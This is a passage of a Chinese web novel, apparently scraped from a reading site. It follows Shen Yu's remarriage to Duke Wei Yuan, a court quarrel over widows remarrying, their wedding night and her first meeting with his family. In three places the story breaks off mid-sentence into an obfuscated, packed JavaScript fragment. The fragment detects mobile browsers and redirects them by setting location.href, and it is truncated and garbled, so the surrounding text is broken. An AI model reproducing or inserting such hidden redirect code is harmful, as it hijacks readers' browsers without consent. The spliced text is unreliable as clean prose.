老太爷的那番话能劝住他，却劝不住黄氏。 黄氏膝下只有一子一女，四娘已经出嫁，只偶尔回娘家，等于陪在她身边的就只有章若荃一个了。 她又向来不喜欢那几个庶出的，若是让她为了那几个孩子而忍下章若荃的死，只怕她更要发疯。 章春林心知劝不动，索性让人将她看管起来，不许她踏出院门一步。 黄氏在他身后声嘶力竭地叫骂着，把沈钰和章家祖宗十八代都骂了一遍。章春林充耳不闻，抬脚去了书房。 儿子死了，他却不能去认尸。不能认尸也就意味着不能发丧，不能布置灵堂，连个烧纸悼念的地方都没有。 章春林坐在书案前，看着章若荃从前做的文章，眼泪一滴一滴晕开了纸上墨迹。 痛，实在是痛啊! ………… 京城，镇国公府。 卫渊坐在庭院中，有一下没一下地擦着手里的刀。一个风尘仆仆地青衫部下站在一旁，正跟他禀报着什么。 “沈小姐身边不仅有得力的侍从护卫，还有些厉害的江湖客。那夜在山坳得亏我们离得远跑得快，不然若是被发现了，定然会被当做章家人一起除掉。” “当然了，我们也不是打不过，就是闹起来不大好看。您吩咐过不要让她知道我们在跟着，我们一直都很注意，没有露出马脚。” 这一方面是因为他们的行踪确实比较隐秘，另一方面则是当时跟着沈钰的人太多了。前有章若荃的人，后有章老太爷的人，章老太爷后面还有沈钰自己的人。为了不被发现，他们不得不远远地跟在最后头。 他们跟着本是为了保护沈钰安全，免得她路上遇到什么危险，谁想沈钰压根不需要什么保护，她的那些部下就足够护送她安全回京了。 卫渊嗯了一声：“她娘从前在江湖上很有名，聚集了不少江湖好手，你们打不过也正常。” “不是打不过，是没有打。” 部下不服气地小声嘟囔。 卫渊没有理会，继续问：“后来呢?” “后来就没什么了。”部下回道，“沈小姐顺利到了望乡亭，在那歇息了几日就跟桂婶一起上路了，估摸着再有几日就到灵泉县了。” 灵泉县距京城三十里，路上不耽搁的话一天就能到。 卫渊手上擦刀的动作一顿，指腹微微收紧：“她……现在怎么样?” 什么怎么样? 部下不解，茫然回答：“挺好的啊，吃得香睡得好，路上走得也不快，我离开来报信时看她气色还挺好的，就是偶尔面上有些愁苦，不大高兴的样子。” “为何?” “啊……” 部下语塞，心中腹诽：人家好好地在家待着，您用这种手段逼人和离，强迫她入京，她能高兴吗?没喊打喊杀已经脾气很好了。 但这番话自然不敢说出口，只能绞尽脑汁润色一番：“她嫁去章家三年，一直以为长辈亲善妯娌和睦夫妻恩爱，结果不过是个知府之位，章家就把她卖了，之后还想打劫她的嫁妆。她曾视作家人的人这般待她，她伤心难过，自然愁苦。” 卫渊闻言眉头微蹙，口中喃喃：“她会为这种事愁苦吗?” “当然会了，”部下笃定道，“一个女子，一辈子最重要的就是找个好夫家。她当初本就是仓促下嫁，已经很委屈了，章家这种破落门户竟还敢这样待她，如何能不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090175|163012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愁苦?” 更愁苦的是才跳出一个火坑，又即将被迫嫁入镇国公府，不知是不是另一个火坑，前路可谓一片迷茫。 别说沈钰了，换做是他，也得发愁。 当然，最后这几句话他没说出口，免得国公爷提刀砍了自己。 卫渊的眉头越皱越紧：“你觉得她是这样的人?” 啥意思? 部下心中忐忑，回话时越发谨慎：“国公爷……希望她是什么样的人?” 卫渊有些不耐：“什么叫我希望?我问你呢。有什么你就说什么，哪这么多废话?” 部下错了错后槽牙，看了看他手里的刀，估量了一下两人之间的距离，觉得一招之内自己逃不走，只能忍耐下来：“沈小姐……美丽善良，性情温婉，端庄贤淑，实在是个不可多得的好女子!” 他净捡了些好的说，寻思着大方向怎么都不会错。 谁知卫渊听了眉头不仅没有舒展，皱得还更紧了，一脸怀疑：“你真的跟了她一路?不是半道跑去做别的了吧?” 部下大惊：“国公爷，天地良心!我这一路可都跟在沈小姐一行人身后呢，看着快到京城了这才提前过来给您报个信!” 他说着悄悄退了半步，以防卫渊暴起伤人，一刀把他劈成两截。 卫渊半信半疑，仔细回忆自己记忆中那人，却跟什么性情温婉端庄贤淑实在对不上号。 但他与沈钰其实也不过几面之缘而已，要说了解其实也说不上。 难道……是自己当初想错了?亦或是这些年她早已不知不觉间被磨平了棱角? 卫渊想不明白，索性将这些抛开。 左右人已经快到京城了，他得先把后面的事处理好。 “你去跟秦恪说一声，让他带上我的帖子，请官媒去沈家提亲。” 部下见自己可以走了，当即应诺一声，飞也似地跑开了。 ………… 沈钰在望乡亭别院住了三日，之后便随桂妈妈一同启程前往京城。 这期间桂妈妈始终对她毕恭毕敬，路上也事事都听她的，从不拂逆，恭敬顺从不似伪装。 但人虽恭顺，对她却说不上关心。 那日抵达望乡亭时分明有一队兵马跟随在她身边，桂妈妈派人将他们送走了，也从他们口中知道了她曾遇袭之事。但她对此并不在意，自始至终未曾问过一句。 沈钰以此判断卫渊确实只是把她当个替身，有自然好，没有也没什么。这天下样貌相似的人千千万，没了她还可以再找别人，以他如今的权势这并不难。 沈钰对此乐见其成，觉得是件好事。 她不知道卫渊曾经的心上人到底是什么模样什么性情，倘若卫渊对她的期望太高，两人相处一段时间之后他发现不是那么回事，只会感到失望，失望之下会如何待她就不知道了。 但他若不抱太大期望，两人反倒可能会相处的好些，即便平淡也不会出什么大问题。 沈钰心里这么想着，已经做好了被一顶小轿抬进国公府的准备。 但令人万万没想到的是，在她抵达灵泉县这天，镇国公府竟派人送来了大量的聘礼和嫁妆，还有凤冠霞帔和一纸婚书，说要迎娶她做正室。 沈钰看着那婚书，整个人愣住了。 13.礼法 “做正妻不好吗?小姐为何不高兴?” 待房中没有旁人后，秋婵不解问道。 “好，也不好。” 沈钰看着那纸婚书，眉头紧锁。 能做正室，谁会愿意做妾?但镇国公府的这个正室……实在是来的莫名其妙。 她仅仅是跟卫渊的心上人相貌相似，他就愿意让她做正妻，那说明他对那死去的心上人很是在意。 可她不是他的心上人啊，她甚至连他那心上人姓甚名谁都不知道，就算想模仿都无从下手。 而且先前明明说因她嫁过人的缘故，只能给卫渊做妾，怎么临到京城他又改口，忽然让她做正妻了? 这卫渊……怎么如此反复? 秋婵大概明白了她的意思，但心里还是觉得高兴。 “管他怎么想的，反正小姐本就打算去国公府，现在这正妻之位等于是白来的，不要白不要。” “而且小姐你看啊，这婚书上还有蒋氏签的字呢，我估计她签这名字的时候气死了!” 前脚才同意了沈钰和离想要看她的笑话，后脚就亲眼看着她嫁进国公府了。秋婵虽未见着她人，但料想她这会气的帕子都不知撕烂几条了。 沈钰闻言也露出了几分笑意，看了眼桌上的凤冠霞帔，又隔窗看了眼院子：“这位镇国公行事倒是妥帖。” 她当初带去章家的嫁妆虽不少，但除了房屋地契以外，大多折成了现银。 女子出嫁的嫁妆是按“抬”算的，要包括诸多物品，如衣裳首饰，古玩字画，家具摆件，甚至香炉祭器等，这些东西成婚时都要展示出来。 她那几车东西虽值钱，却实在没什么“嫁妆”的样子。若是这般入城，不打开箱笼会让人觉得寒酸，打开了会让人觉得是个没有底蕴一身铜臭的暴发户，怎么都不对。 卫渊直接把这个问题解决了，给她备好了嫁妆还送来了聘礼。 她如今孤身在外，不是从家中出嫁，这些聘礼等于也是她的，可以直接作为嫁妆留作己用。 他这般周全，倒叫沈钰心里愈发没底，不好判断他单纯就是人好，还是因为太在意那死去的心上人才如此。 但正如秋婵所说，她本就打算去国公府，既然如此，想这么多作甚?走一步算一步吧。反正就目前来看，这门婚事除了太过仓促没什么别的不好。 ………… 京城近日发生了一件大事，一直未婚的镇国公忽然要成亲了，娶的还是沈家那个已经成过一次婚的外嫁女。 自新帝入京，封了这位卫氏将军为国公，不知多少人去镇国公府提过亲，国公府的门槛都被踏矮了一截。就连前朝的华阳公主也心仪这位镇国公，有心让他做自己的驸马。 奈何这位国公爷一心念着自己那故去的心上人，将所有提亲的人都拒了，无论是贵为千金的公主还是才貌双全的名门贵女，一个都没看上。 众人都以为他短时间内不会成亲，谁成想这几日国公府却忽然披红挂绿，筹备起了婚事，说是过几天镇国公就要迎娶新妇了。 京城众人纷纷惊掉了下巴，四处打听是哪位绝世佳人让镇国公动了凡心，取代了他那心上人的位置。结果打听来打听去，他要娶的竟是沈家三年前嫁去章家的那个女儿。 “这沈小姐我知道啊，生得确实是仙姿佚貌，当初京城不知多少世家公子为之动心。奈何她命不太好，生母早亡，十六岁时父亲又去世了，要按制守孝。原本跟她订了亲的杨家等不住，退了亲，她便拖到十九岁时还没嫁人。” “以她的品貌才情，哪怕年纪大了原也能嫁到不错的人家，但她那继母不是个好相与的，为了省些嫁妆，硬是把她嫁去了青州的一个小门小户。” 一旁的人闻言嗤了一声：“这命怎么不好?我看好得很!京城这几年多乱啊，你看原来那些世家大族现在还剩几个?旁的不说，就跟她定过亲的那个杨家，死的没剩几个人了，她当初要是嫁过去了，保不齐现在也没命了。” “是啊，她三年前离京，之后京城的几次大劫都躲过去了。眼下京城才安定，她又嫁到镇国公府来了，这还叫命不好?我要是有这命，做梦都要笑醒!” 几个百姓聊得火热，对沈钰皆是万般羡慕。但在世家权贵之间，议论的就不是命好不好，而是配不配了。 “沈家从前还算风光，可如今沈昀已死，沈氏一族其他人要么是白身，要么是在地方上任职，官职最高的也就是个四品知府。这样的人家，本就配不上国公府，何况那沈氏还是个二嫁妇?沈家是怎么好意思把这样的女儿嫁给镇国公的?真是有辱斯文!” 大周朝时，世家权宦十分推崇寡妇守节，认为如此方能彰显女子贞烈，为此朝廷给许多“贞节烈女”颁下贞节牌坊以示表彰。 与之相对的自然就是反对女子改嫁，认为此等女子不贞，是为耻。 大周朝廷虽然没有明确表态不允许改嫁，但律法上却写明若寡妇守节，其家族可继承亡夫财产，反之则不行。 这无形中增大了寡妇改嫁的难度，于是越来越多的寡妇不得不为夫守节，越来越多的人家以得到一座贞节牌坊为荣，为此甚至不惜杀害自家女儿，再上表说是自愿追随丈夫而去的。 因为这个缘故，和离在官宦人家也十分少见。女子一旦和离，等同于被休弃，是娘家的耻辱，即便回了娘家日子也不会好过。因此很多妇人即便在夫家过得并不好，也不愿和离归家，就这么凑合着忍耐着把一辈子过完了。 后来战乱四起，民间百姓求存尚且艰难，又哪里还顾得上什么贞节不贞节，渐渐地便没那么在乎这些了。但世家大族被这些“礼法”浸染百年，视之为荣，又怎会轻易舍弃? 如今一个二嫁妇要做国公夫人，他们自然有所异议。 “谁说不是呢，寡妇改嫁尚且视为不贞，这沈氏还不是守寡，是跟夫家和离的!她若是在夫家半点错没有，怎会和离?定是做了什么天理难容的事，让章家难以忍受，这才宁可和离也不要这个儿媳了。这种德行有亏之人，如今竟要做镇国公夫人，平白得个一品的诰命，这怎么行?” “卫公到底怎么想的?放着那么多世家贵女不要，偏偏选了这么个女子?” 几个朝官在早朝时趁着皇帝还没来，交头接耳低声议论。 他们虽刻意压低了声音，但离得近的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091604|163012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是难免听见，有人不屑地嗤了一声：“和离怎么了?二嫁怎么了?吃你家米粮了?” 说话的那几人抬起头，有人不满道：“我们说的是女子贞节德行，跟吃谁家米粮有什么关系?” “别家女子的贞节德行跟你们又有什么关系?轮得到你们在这背后议论吗?” 那人回道。 他声音不算小，引来了不少人的注意，周围人纷纷投来视线。 那几人见他一介武夫竟敢高声斥责自己，顿时火冒三丈：“你这武夫懂什么!为人妻者理当从一而终，便是丈夫死了也当为夫守节，这是前朝便传下来的规矩。” “狗屁的规矩!” 那武将说道。 “这些年战乱死了多少人?尤其是前线的将士，多少有去无回?倘若他们的妻子各个都为夫守节，你可知这天下会有多少寡妇?又会有多少儿郎娶不到媳妇?多少人家就此绝户?朝廷的赋税是按人头收的，到时没了人口，赋税从何而来?没有赋税，军饷怎么发?战马兵器如何筹备?你们的俸禄又从哪里来?等着天上往下掉银子吗?” “一个个闲的没事只知道说什么礼法礼法，简直本末倒置!你得先让人能活下去吃饱饭才有礼法!” 他这番话说得掷地有声又合乎情理，旁边不少人点头表示赞同。 那被他驳斥的官员觉得丢了面子，又知道不能从人口赋税这些反驳，眼珠一转，回道：“你说的那是穷苦人家。那沈氏出身富贵，她活不下去吗?吃不饱饭吗?既然如此，为何不尊礼法?” 武将被他绕了进去，心中觉得他说的不对，却又不知该如何驳斥，张着嘴难以成言时，听得前排一绯袍官员不紧不慢道：“陈大人方才说这是何时的礼法?” “自是前朝便传下来的……” 那姓陈的官员张口便回，话说一半才意识到这问题的险恶，当即打了个激灵，猛地闭上了嘴。 绯袍官员正是提前回京官复原职的柳明远，他睇了那姓陈的一眼，拉长声调哦了一声：“前朝啊。陈大人如此怀念前朝礼法，想来是对如今的朝廷不满，觉得我朝无礼无法了?” “你休要血口喷人!” 陈姓官员急道：“我只是说礼法不可废，跟前不前朝的没关系!” 那武将见有人助阵，嘴皮子也利索起来，冲着那姓陈的啐了一声：“贞节牌坊最早是前楚时候的事了，当时本是为了表彰一名为怀清的女子心怀大义，倾尽家财为边关修筑城墙。结果到了大周，就只记得她是个寡妇了，所谓贞节也只剩□□里那点事了。偏偏你们这些臭酸儒还将之奉为圭臬，一口一个此乃礼法。真是可笑，□□里的礼法有什么好守的?你们这辈子就只知道惦记别人的□□吗?羞不羞!”【注1】 这话引得众人发笑，有人忍不住仗义执言：“说来说去几位大人不就是恼恨这一品诰命没落在自家头上，觉得沈小姐影响你们攀高枝了吗?心中不忿就直说，扯那么多名头作甚!” 先前非议沈钰的几人面红耳赤，张口欲驳斥回去，却听宝座上传来太监的唱喏声，皇帝到了。 众人忙垂眸敛目，暂且停下了争执，不敢再多言。 14.大婚 虽然众官员争执时景帝不在场，但散朝后他还是很快知道了这场小小的争端。 大太监忠和将打探来的消息原原本本地说了，景帝听后一笑：“这些前朝旧臣还真是……冥顽不灵。” 他言语间说的不止那姓陈的，还直指前朝旧臣，忠和垂眸没敢接话。 好在景帝也不过随口一说，很快转移了话题：“跟他们争执的那个武将……我记得好像姓许?” “陛下好记性，”忠和笑道，“正是神机营千户许昌。” 景帝点了点头：“此人话说的虽糙，但见微知著鞭辟入里，是个人才，只做个千户可惜了。正好神机营还缺个指挥佥事，我看他补上去正好。” 正五品升至正四品，直接一跃成为绯服官员。景帝虽未对那姓陈的做什么，但这个擢升的旨意就能表明他的态度了。 忠和应诺，当即传令命人拟旨。 这道旨意下去之后，景帝才又饶有兴致地问起卫渊的婚事。 “你见过那沈小姐吗?长得什么模样?当真与卫渊的心上人生得一模一样?” 忠和面露难色：“这……奴婢是跟随陛下一同入京的，先前也没见过沈小姐啊。而且国公爷那心上人的画像也只有您看见过，像不像的……奴婢着实不知。” 卫渊之前从来就没有过什么画像，是进京安顿下来之后才画的，还一直藏着掖着不给人看，景帝也只是趁他不注意时候偷偷瞄过两眼。 画中人生得的确国色天香花容月貌，因此他一度怀疑那画像是假的，是卫渊按照自己想象中的样子随便画的。结果没多久，他竟说找到个跟画上一模一样的人，要娶她为妻。 景帝倚在案上，若有所思：“最好是真的很像……” 这样他就能安心了。 ………… 四月廿八，宜婚嫁。 朱雀大街两侧酒楼茶肆的好位置早已被人包下，就连一些卖衣裳首饰的铺子里也挤满了人。大家都在争抢窗边的地方，想寻个好位置一睹这场仓促但盛大的婚礼。 卫渊乃超品国公，又手握实权，还是皇帝最信赖的重臣。这次他大婚，皇帝特批了金吾卫和赤焰军作为仪仗队伍给他开道，命礼部和鸿胪寺的礼官一同主持，其余一应赏赐等等更是不计其数，可谓给足了面子。 迎亲队伍从镇国公府出发，一路浩浩荡荡地往城门口走去。马背上的新郎官一身吉服，将平日冷峻的面容映衬出几分艳丽。 沈钰清晨从灵泉县启程，行至京城五里外换乘花轿，刚好在吉时抵达城门。 迎亲队伍与送亲队伍汇合到一处，城门前鼓乐齐鸣，礼官高声唱和，国公府的下人们一簸箩一簸箩地往外抛洒喜钱。 喜钱一直从城门抛洒至国公府门口，百姓们争相拾取，沿路热闹非凡。有人四处寻找被人遗漏的喜钱，也有人在国公府沿途设置的喜棚里喝喜酒吃喜饼。直至新娘下了花轿与镇国公携手走进国公府的大门，街上仍旧热闹的宛如过年。 除新帝登基那日之外，这是京城恢复安定以来最盛大的一场庆典。人们借着这场热闹欢笑嬉闹，战乱留下的伤痕似乎又淡去了一点。 沈钰一直盖着盖头，看不见外面的情形，但只听声音她也知道今日的京城该有多么热闹。 三年没有回京，也不知这里现在变成了什么模样?东安街卖枣泥糕的那家铺子还在不在?杨柳胡同卖糖画的老伯有没有避过灾祸?沈家街口的大槐树还好吗?会不会多几道刀斧或灼烧痕迹? 她脑子里胡思乱想着，心不在焉地跟卫渊拜了堂，在喜娘的搀扶下迈过门槛进了洞房。 直到在撒满了红枣花生桂圆等物的床上坐下，她才将心思收了回来，垂眸敛目等着新郎官掀盖头。 喜秤将盖头轻轻挑起，沈钰做好了看到一个头大如斗相貌丑陋的男人的准备，谁想面前男子竟生的方额薄唇高鼻深目，剑眉入鬓眸若寒星。非但不丑，还是个不可多得的美人。 沈钰短暂惊艳一瞬，很快收回视线，心中腹诽：传言果然不可尽信。 “新娘子害羞了。” 不知是谁凑趣说了一句，房中众人哄笑起来，大家纷纷跟着说些吉祥话。 卫渊对旁人视而不见，眼中只有这个熟悉又陌生的女子。 她安静地坐在那里，面容看上去一点都没变，就像……就像他画中那样。 但画是死的，人是活的，不可能毫无区别。 卫渊想象着她如当年那般恣意狂放的模样，心头微颤，还未饮合卺酒就开始嫌房中其他人碍眼。 但新郎官待会还要去前面赴宴，他再如何想与她单独相处，也不可能立马就将宾客们赶走。 卫渊耐着性子完成了接下来的礼节，深深地看了她一眼后才去了前院。 ………… “相貌倒是不错。” 待他走后，沈钰随口说了一句。 秋婵在旁点头：“不知这位姑爷性情如何，只看相貌的话倒是堪堪配得上您。” 在她看来自家小姐那是天仙般的人物，这句“堪堪配得上”便是极高的评价了。 撒帐的金银彩果硌得慌，沈钰起身让秋婵收了，又让她给守在外面的国公府下人传话，叫送桌席面进来。 这一是因为她没有饿着肚子等丈夫回来的习惯，二是借此机会想看看国公府这边的态度。 虽然一路上桂妈妈对她都很敬重，说明卫渊没有为难她的意思，但镇国公姓卫，卫家可不止卫渊一个人。 秋婵应诺去传了话，不多时厨房那边就备了一桌席面，遣了几个伶俐的丫鬟送来了。 沈钰喜食茱萸，桌上好几道菜都有这味佐料，可见厨房那边已经提前从桂妈妈那里了解了她的口味，知道她的忌口和喜好。 这说明要么国公府的人都很好相处，没人想要为难她这个新妇。要么卫渊对国公府的掌控力很强，没人敢违拗他的意思。 不管哪种，对她来说都是好事。 沈钰摘了凤冠，除去厚重繁琐的喜服，换了件红色的家常衣衫坐在桌边，心满意足地用了饭，吃饱喝足后才将脸上的妆容卸了，坐在床边等着卫渊回来。 大抵是前院的宾客太多，天色擦黑时他才回房，彼时沈钰已经倚着床柱快睡着了，听到动静才睁开了眼，坐直身子摆出一副一直乖巧等待的样子。 卫渊不喜有人贴身侍奉，进屋就摆了摆手将秋婵遣退了。 房中只余夫妻二人，沈钰起身要去给他宽衣，卫渊却已自行解了腰带褪下外袍。 他抬头看见沈钰悬在半空的手才意识到什么，思忖片刻将准备随手丢到衣架上的外袍递给她。 沈钰垂眸，温顺地接过，将衣裳在衣架上平平整整地挂好。 两人沉默着走到床边并排坐下，中间隔着半人宽的距离，不远不近。 沈钰以为卫渊会问她为何愿意来京城，对他之前的所作所为有没有怨言，对章家和章茂芝是否还有留恋? 她心中打过很多腹稿，仔细思索过要如何回答才能显得自己既非薄情寡义转头就忘却前恩之人，又不至于让卫渊觉得她放不下章茂芝，心生芥蒂。 只等卫渊开口，她就能有很多应对之策。但卫渊却只是坐在一旁默默地看着她，一言不发。 卫渊两手放在膝头，少见的有些紧张。 他得到了自己心心念念之人，但中间用了些不光彩的手段。 他等着她质问自己为何这么做，等着她发脾气表达心中的不满，或是像话本里写的那样骄傲地仰着脖子说“你就算得到我的人也得不到我的心”。 但她没有。她只是安静地坐在那里，沉默不语，像……像一幅画，她真的好像那幅画…… 卫渊等了许久，这幅“画”仍旧一动不动，别说发出一点声音了，连个表情变化都没有。 他不知该如何开口打破这个僵局，眼见着烛火都燃去一截，思来想去最后只得说了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098667|163012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个字：“睡吧。” 他没什么跟女子打交道的经验，但想来什么都不做，就什么都不会错。 沈钰坐的肩背都僵硬了，不明白为何这个男人只是看着她不说话。 难道她跟他那心上人当真如此相似?他在对着她的脸怀念那位已故的心上人?那这个时候她如果开口说话，是不是会破坏了他怀念故人的气氛? 沈钰想了许多应对这位镇国公的法子，唯独没料到会是这般。 想到自己可能会像个雕塑般被他观摩一宿，沈钰实在坐不住了，正思索着要不要主动开口说些什么，旁边的男人终于对她说了见面以来的第一句话，就两个字：睡吧。 她怔了怔，旋即心中冷笑一声。 看来是自己想多了，这位高高在上的国公爷并不在乎她的想法。于他而言她只是个随手便能夺来的摆件，一个摆件有什么恩怨情仇他又岂会在意? 沈钰微微颔首，起身习惯性地躺到床铺里侧，盖好被子才想起什么，犹豫着往旁边看了一眼。 按照闺阁教导的惯例，妻子应该宿在床榻外侧，便于夜里起身服侍丈夫喝水起夜等。但她之前嫁去章家是下嫁，这三年来都是章茂芝睡在外面服侍她，她从没服侍过章茂芝。 如今沈家式微，镇国公府则如日中天，按理她该睡在外面，但刚才一时走神，将此事给忘了。 卫渊仓促成亲，哪知道什么规矩不规矩，吹熄烛火后见她躺在了里面，理所当然地就在她身侧躺了下来。 沈钰见他没什么反应，也懒得挪地方，索性就当没想起来。 洞房花烛自然少不了夫妻敦伦，她原还想着要应付一个面容丑陋之人有些提不起兴致，但这卫渊生了一副好相貌，又身量颀长猿臂蜂腰，着实没什么可挑剔的，她便对今夜之事没那么反感了，还隐约有些期待。 但她是“被迫”二嫁，这时候总不好表现的太主动，一副急于攀龙附凤的样子，于是就闭眼等着卫渊动作。 可这卫渊又如方才一般，只是侧躺着默默地看着她，一动不动。 两人不知这样躺了多久，沈钰实在等不住，心里翻了个白眼，真就睡了。 卫渊想着沈钰知道他先前作为，心中对他定是不满的，此时亲近只怕她会不高兴。可心仪之人就在身边，他又怎会毫无反应，不过是兀自忍耐罢了。 这样忍耐了也不知道多久，身边的人渐渐发出均匀的呼吸声，显见是睡熟了。 他到现在也没真正碰触过她一下，忍不住伸手想抚一抚她纤长的睫毛。手还没碰到她，睡梦中的人翻了个身，从侧躺着变成面对着他。 她的呼吸轻轻喷洒在他脸上，卫渊喉头滚动，到底是没能按捺住出于本能的冲动，将人揽进了怀里。 他嗅着她身上的香气，吻着她的唇，与她紧紧相拥。 沈钰熟睡间感到有人紧紧箍住了自己，她皱眉发出一声不满的轻哼，迷蒙片刻才反应过来是卫渊。 刚才等着他行事他不动，她睡着了他又来搅扰。 沈钰心中不满，念着他镇国公的身份和那张好看的脸，压下了这股怒火，半推半就地迎合。 本以为以卫渊这精壮的身子，今夜少不得要折腾一番，但很快……一切就结束了。 沈钰听着男人急促的呼吸，神情茫然，一时都忘了要装出欢愉的模样。 结束了?她衣裳都没还脱，就结束了? 卫渊心神激荡，仿若吸食了人类精气的狐狸，将脸埋在沈钰肩头，只觉前所未有的满足。 他吞咽一声有心再亲近一番，但想着刚才搅扰了她睡眠时她蹙眉不悦的模样，还是忍住了，在她唇边轻吻一下，温声道：“睡吧。” 说完便自去净房更衣了。 沈钰今日一共就只听到卫渊说了两句话。一句是“睡吧”，一句是“睡吧”。 她躺在床上看着帐顶，将自己只是有些凌乱的衣裳拢了拢，心想：真是白瞎了一张好脸。 15.隐疾 新妇第二日要拜见丈夫的父母亲长。卫渊是庶出，其生母十年前便已亡故，父亲也在战乱中过世，故而今日主座上只有一个嫡母林氏。 林氏容长脸，弯月眉，一副慈眉善目的模样。但此刻她神情冷肃，显然对这个儿媳并不是很满意。 她接过沈钰敬的茶，慢悠悠地喝着，也不叫人起来，摆明了要给她立规矩。 沈钰心下顿时了然，昨日一切顺遂并不是因为卫家人都好相处，而是因为卫家如今是卫渊当家作主。 她做好了多跪一会的准备，一旁的卫渊却已经伸手将她从地上拉了起来。 林氏的脸色顿时更难看了，将手中茶盏往桌上重重一搁。 坐在上首的卫家大老爷卫诚皱了皱眉，不满地看了林氏一眼，出声打圆场：“沈大人在世时我曾与他打过几次交道，还曾见过侄媳一面。那时你才刚刚开蒙，被他抱在怀里认字，颇有些模样。沈大人很得意地在我们面前夸奖你，说你将来长大了必定跟你娘一样聪明。” “如今十几年过去，故人已逝，你却当真如他所说那般聪明伶俐。想来他泉下有知，定然也很欣慰。” 沈钰对这段过往毫无印象，但卫诚说的有鼻子有眼，想来不是假的。至于她聪不聪明……这是卫诚多年后头回见她，如何能得知?不过是在这样的场合随便捡些好听话说罢了。 她知他是好心，便也没拂了他的脸面，温声回了一句：“伯父过誉了。” 有卫渊在旁镇着，又有卫诚主动示好，卫家其他人不管心中满意不满意，都没敢在这样的场合闹出什么乱子，这场新妇拜见亲长的仪式便顺顺利利地过去了。 待卫渊夫妻二人离开，卫诚将其余人遣退，这才有些恼火地对林氏道：“跟你说了多少遍了，要给新妇些面子，不要让她难堪!今日这才头回见面，你就拉个脸在那甩脸子，生怕阿渊不知道你对这门亲事不满意吗?” 林氏冷笑一声：“大哥说得轻巧，不是你儿子娶了这么个媳妇，你自是不在意。” “沈家破落门户，这沈氏又是个二嫁的，她但凡有些自知之明都该知道自己配不上我国公府的门第，进门做个妾都是抬举她了。偏她好大的脸面，说要娶她为妻她还真就应了，欢天喜地地嫁来了。她才跟章家和离，不过月余就嫁到我国公府来，怎么好意思的?” “是你儿子要娶她，不是她非要嫁来!” 卫诚没好气道。 “你若是不愿意，一早就该跟阿渊闹，而不是在他面前忍气吞声，等新妇进门又给她脸色看!这传出去只会叫人觉得我卫氏待人苛刻门风不正!” “还有，沈家怎么就是破落户了?你真是被如今的好日子迷昏了头，忘了从前卫家什么样了?同是出身营州，在阿渊之前，有多少人知道营州沈氏，又有多少人知道营州卫氏?” “沈家是正经的书香门第百年望族，沈昀三十岁就做到了佥都御史的位置，正正经经的四品大员。即便他过世了，沈家为官的子弟也远多于咱们卫家!咱们族中三十岁能中进士的都没几个，如何跟人家比?如今不过侥幸出了个阿渊，你就看不上沈家，觉得人家是破落户了?” “也就是沈昀过世了，沈家其他族人不在京城，由着那姓蒋的继母给沈氏做主定下了这门亲事，不然你儿子还不见得能娶到人家呢!” 他因不常来京城，跟沈昀打交道的次数并不多。但即便如此，他也知道沈昀有多宠爱这个女儿。若他在世，还真不见得就愿意结这门亲。 林氏方才想给新儿媳立规矩不成，先后被卫渊和卫诚下了脸，本就憋了一肚子火。这会又被如此训斥一番，更是恼火：“此一时彼一时，沈昀已经死了，沈家也已不复从前风光，长了眼睛的都能看出如今是我卫家占了上风!那么多名门贵女想嫁进来，连华阳公主都想让卫渊做驸马，他最后却偏偏挑了这么个沈氏!我辛辛苦苦养他二十几年，他就是这么报答我的?” 说来说去，还是恼恨卫渊结了这么一门亲，进而迁怒沈钰。 卫诚岂会不知她在想什么，索性当面拆穿：“你不就是想阿渊要么一辈子不成亲，要么结门好亲事给五郎他们带来些助力吗?” “他不成亲，你便能将二郎的珍哥儿记在他名下，将来继承国公府的爵位。他娶个名门贵女，你便能借他岳家的势，将五郎和七娘的身价再抬高一截，让他们将来能娶个好媳妇，嫁个好人家。” “可你想没想过?阿渊如今本就如日中天，若再跟那些豪门显贵结亲，只会引来更多麻烦!水满则溢月满则亏，这么简单的道理你不懂吗?” “沈家百年望族，又是名门清流，既不堕国公府的门第又不过分显赫，有何不好?阿渊如今的声势已经足够给五郎他们撑腰了，你再要更上一层楼那便是烈火烹油，对他们百害而无一利!” 林氏膝下二子一女，长子族中行二，跟丈夫一样在战乱中过世了，只留了一个孙儿珍哥儿。另外两个孩子一个行五一个行七，都还没成亲。 眼见着自己的孩子要么没了，要么无甚建树，反倒是卫渊这个庶出的越爬越高，她心里又庆幸又觉得不痛快。 庆幸于自己的孩子不用冒着生命危险冲锋陷阵，不痛快自然是因为功劳都被卫渊得去了，自己的孩子不能共享高官厚禄。 所以这些年卫渊一直不成亲，她其实是乐见其成的。 